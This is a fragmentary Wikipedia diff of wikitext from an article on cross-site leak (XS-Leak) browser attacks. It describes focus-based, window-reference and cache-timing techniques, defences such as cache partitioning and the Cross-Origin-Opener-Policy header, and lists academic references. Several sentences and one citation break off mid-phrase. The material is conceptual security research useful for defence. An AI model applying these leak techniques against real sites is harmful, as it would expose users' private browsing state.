▲In 2019, Gareth Heyes discovered that by setting the [[URL hash]] of a website to a specific value and subsequently detecting whether a loss of focus on the current web page occurred, an attacker could determine the presence and position of elements on a victim website.<ref>{{Cite web |date=2019-10-08 |title=XS-Leak: Leaking IDs using focus |url=https://portswigger.net/research/xs-leak-leaking-ids-using-focus |access-date=2023-12-28 |website=PortSwigger Research |archive-date=2023-12-28 |archive-url=https://web.archive.org/web/20231228085833/https://portswigger.net/research/xs-leak-leaking-ids-using-focus |url-status=live }}</ref> In 2020, Knittel et al. showed an attacker could leak whether or not a <code>Cross-Origin-Opener-Policy</code> header was set by obtaining a reference to the <code>window</code> object of a victim website by framing the website or by creating a popup of the victim website. Using the same technique of obtaining window references, an attacker could also count the number of frames a victim website had through the <code>window.length</code> property.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1778}}{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=797}}
▲While newer techniques continue to be found, older techniques for performing cross-site leaks have become obsolete due to changes in the [[World Wide Web Consortium]] (W3C) specifications and updates to browsers. In December 2020, Apple updated its browser [[Safari (web browser)|Safari]]'s [[Intelligent Tracking Prevention]] (ITP) mechanism, rendering a variety of cross-site leak techniques researchers at Google had discovered ineffective.<ref>{{Cite web |title=Google finds Apple Safari anti-tracking feature actually enabled tracking |last=Ng |first=Alfred |url=https://www.cnet.com/news/privacy/google-finds-apple-safari-anti-tracking-feature-actually-enabled-tracking/ |access-date=2023-12-28 |website=CNET |language=en |archive-date=2023-12-11 |archive-url=https://web.archive.org/web/20231211164714/https://www.cnet.com/news/privacy/google-finds-apple-safari-anti-tracking-feature-actually-enabled-tracking/ |url-status=live }}</ref><ref>{{Cite web |date=2019-12-10 |title=Preventing Tracking Prevention Tracking |last=Wilander |first=John |url=https://webkit.org/blog/9661/preventing-tracking-prevention-tracking/ |access-date=2023-12-28 |website=WebKit |archive-date=2023-11-16 |archive-url=https://web.archive.org/web/20231116172403/https://webkit.org/blog/9661/preventing-tracking-prevention-tracking/ |url-status=live }}</ref><ref>{{Cite web |title=Information Leaks via Safari's Intelligent Tracking Prevention |first1=Artur|last1=Janc|first2=Krzysztof|last2=Kotowicz|first3=Lukas|last3=Weichselbaum|first4=Roberto|last4=Clapis
▲ |url=https://research.google/pubs/information-leaks-via-safaris-intelligent-tracking-prevention/ |access-date=2023-12-28 |website=Google Research |archive-date=2023-12-28 |archive-url=https://web.archive.org/web/20231228090446/https://research.google/pubs/information-leaks-via-safaris-intelligent-tracking-prevention/ |url-status=live }}</ref> Similarly, the widespread introduction of cache partitioning in all major browsers in 2020 has reduced the potency of cache-timing attacks.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1780}}
== Defences ==
Most modern defences are extensions to the HTTP protocol that either prevent state changes, make cross-origin requests [[Stateless protocol|stateless]], or completely isolate shared resources across multiple origins.{{sfn|Knittel|Mainka|Niemietz|Noß|2021|p=1780}}
Line 124 ⟶ 123:
[[File:Histogram of cross-site leaks cache timing attack example.png|thumb|upright=3.0|center|Raw data from the cache timing attack discussed in {{section link||Example}}. When cache partitioning is disabled, a clear distinction can be made between the cached and uncached responses, whereas, with cache partitioning, the two response times overlap.{{sfn|Felten|Schneider|2000|pp=27,28,29}}{{legend|red|cached response}} {{legend|blue|un-cached response}}]]
One of the earliest
Another, more developer-oriented feature that allows the isolation of execution contexts includes the <code>Cross-Origin-Opener-Policy</code> (COOP) header, which was originally added to address [[Spectre (security vulnerability)|Spectre]] issues in the browser.{{sfn|Reis|Moshchuk|Oskov|2019|p=1674}}{{sfn|Van Goethem|Sanchez-Rola|Joosen|2023|p=379}} It has proved useful for preventing cross-site leaks because if the header is set with a <code>same-origin</code> directive as part of the response, the browser will disallow cross-origin websites from being able to hold a reference to the defending website when it is opened from a third-party page.{{sfn|Van Goethem|Franken|Sanchez-Rola|Dworken|2022|p=792}}<ref>{{Cite web |date=2023-04-10 |title=Cross-Origin-Opener-Policy – HTTP {{!}} MDN |url=https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy |access-date=2023-10-31 |website=[[MDN Web Docs]] |language=en-US |archive-date=2023-10-31 |archive-url=https://web.archive.org/web/20231031015024/https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy |url-status=live }}</ref><ref>{{Cite web |title=Making your website "cross-origin isolated" using COOP and COEP {{!}} Articles |first=Eiji |last=Kitamura |url=https://web.dev/articles/coop-coep |access-date=2023-10-31 |website=web.dev |language=en |archive-date=2023-10-31 |archive-url=https://web.archive.org/web/20231031015024/https://web.dev/articles/coop-coep |url-status=live }}</ref>
As part of an effort to mitigate cross-site leaks, the developers of
=== Preventing state changes ===
Line 218 ⟶ 217:
* {{Cite book |last1=Van Goethem |first1=Tom |title=Proceedings of the 2022 ACM on Asia Conference on Computer and Communications Security |last2=Franken |first2=Gertjan |last3=Sanchez-Rola |first3=Iskander |last4=Dworken |first4=David |last5=Joosen |first5=Wouter |date=2022-05-30 |publisher=Association for Computing Machinery |isbn=978-1-4503-9140-5 |pages=784–798 |language=en |chapter=SoK: Exploring Current and Future Research Directions on XS-Leaks through an Extended Formal Model |doi=10.1145/3488932.3517416 |doi-access=free |s2cid=248990284}}{{Creative Commons text attribution notice|cc=by4|author(s)=Tom Van Goethem, Gertjan Franken, Iskander Sanchez-Rola, David Dworken and Wouter Joosen}}
* {{Cite book |last1=Van Goethem |first1=Tom |title=2023 IEEE Security and Privacy Workshops (SPW) |last2=Sanchez-Rola |first2=Iskander |last3=Joosen |first3=Wouter |date=2023 |publisher=IEEE |isbn=979-8-3503-1236-2 |pages=371–383 |language=en-US |chapter=Scripted Henchmen: Leveraging XS-Leaks for Cross-Site Vulnerability Detection |doi=10.1109/SPW59333.2023.00038 |access-date=2023-11-07 |chapter-url=https://ieeexplore.ieee.org/document/10188656 |s2cid=259267534 |s2cid-access=free}}
* {{Cite book|
* {{Cite book |last1=Van Goethem |first1=Tom |last2=Joosen |first2=Wouter |last3=Nikiforakis |first3=Nick |chapter=The Clock is Still Ticking: Timing Attacks in the Modern Web |date=2015-10-12 |title=Proceedings of the 22nd ACM SIGSAC Conference on Computer and Communications Security |chapter-url=https://doi.org/10.1145/2810103.2813632 |series=CCS '15 |publisher=Association for Computing Machinery |pages=1382–1393 |doi=10.1145/2810103.2813632 |isbn=978-1-4503-3832-5|s2cid=17705638|s2cid-access=free }}
* {{Cite journal |last1=Vila |first1=Pepe |last2=Köpf |first2=Boris |date=2017 |title=Loophole: Timing Attacks on Shared Event Loops in Chrome |url=https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/vila |journal=SEC'17: Proceedings of the 26th USENIX Conference on Security Symposium |language=en |pages=849–864 |arxiv=1702.06764 |isbn=978-1-931971-40-9}}
* {{Cite book |last1=Zaheri |first1=Mojtaba |title=Security and Privacy in Communication Networks |last2=Curtmola |first2=Reza |date=2021 |publisher=Springer International Publishing |isbn=978-3-030-90022-9 |editor-last=Garcia-Alfaro |editor-first=Joaquin |series=Lecture Notes of the Institute for Computer Sciences, Social Informatics and Telecommunications Engineering |volume=399 |pages=143–163 |language=en |chapter=Leakuidator: Leaky Resource Attacks and Countermeasures |doi=10.1007/978-3-030-90022-9_8|doi-access=free |editor2-last=Li |editor2-first=Shujun |editor3-last=Poovendran |editor3-first=Radha |editor4-last=Debar |editor4-first=Hervé |editor5-last=Yung |editor5-first=Moti |s2cid=237476137}}
* {{Cite journal |last1=Zaheri |first1=Mojtaba |last2=Oren |first2=Yossi |last3=Curtmola |first3=Reza |date=2022 |title=Targeted Deanonymization via the Cache Side Channel: Attacks and Defenses |url=https://www.usenix.org/conference/usenixsecurity22/presentation/zaheri |language=en |pages=1505–1523 |journal=Proceedings of the 31th USENIX Conference on Security Symposium |series=SEC '22 |isbn=978-1-939133-31-1 |s2cid=251092191 |s2cid-access=free}}
* {{Cite book |last=Zalewski |first=Michal |url=https://books.google.com/books?id=NU3wOk2jzWsC
{{refend}}
| |||